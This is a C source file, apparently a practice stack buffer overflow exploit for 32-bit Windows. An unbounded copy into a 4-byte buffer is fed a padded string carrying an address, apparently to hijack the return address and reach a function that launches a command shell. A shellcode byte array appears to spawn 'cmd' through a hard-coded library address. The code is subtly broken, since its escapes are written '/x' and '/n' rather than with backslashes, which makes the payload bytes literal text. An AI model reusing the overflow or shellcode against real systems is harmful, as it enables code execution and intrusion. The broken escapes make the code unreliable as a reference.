#include <stdio.h>
/*
void test()
{
// sub esp, 44h
int b;
int *k=&b;
k+=22;
(*k) = 88;
printf("aaaaaaaaaaaaa %d k = %#0x/n", (*k), k);
/* __asm
{
mov DWORD PTR [ebp-4], 'a'
mov DWORD PTR [ebp+54h], 'a'
}*/
/* printf("The address of b in test is %#0x/n", &b);
}
void taa()
{
int *k;
int *j;
int *i;
k = (int*)malloc(sizeof(int));
j = (int*)malloc(sizeof(int));
i = (int*)malloc(sizeof(int));
printf("The address of k in taa is %#0x/n", k);
printf("The address of j in taa is %#0x/n", j);
printf("The address of i in taa is %#0x/n", i);
}*/
unsigned char aaaaa[]="/x55/x8B/xEC/x83/xEC/x08/x33/xC9/xC6/x45/xF8"
"/x63/xC6/x45/xF9/x6D/xC6/x45/xFA/x64/x88/x4D"
"/xFB/x8D/x45/xF8/x50/xBA/xC7/x93/xBF/x77/xFF"
"/xD2/x58/x8B/xE5/x5D/xC3";
void mystrcpy(char *dst, const char *src)
{
while ((*src)!=NULL)
{
*dst = *src;
dst++;
src++;
}
*dst=NULL;
}
void ccc(char *a)
{
char ta[4];
mystrcpy(ta, a);
}
void kkk()
{
system("cmd");
}
void main()
{
kkk();
printf("Address of kkk is %#0x/n", kkk);;
// ccc("/x77/x77/x77/x77/x30/x10/x40/x00");
ccc("abcd/x50/x10/x40/x00efghij/x50/x10/x40/x00klmnopqrstuvwxyz123456789011121314151617181920");
// kkk();
// printf(aaaaa);
// 0x406030
// 12ff7c
/* char c=10;
printf("The address of main is %#0x/n", main);
printf("The address of test is %#0x/n", test);
taa();
// 12ff24
test();
*/
// printf("The address of c in main is %#0x/n", &c);
// printf("The value of c in main is %d/n", c);
}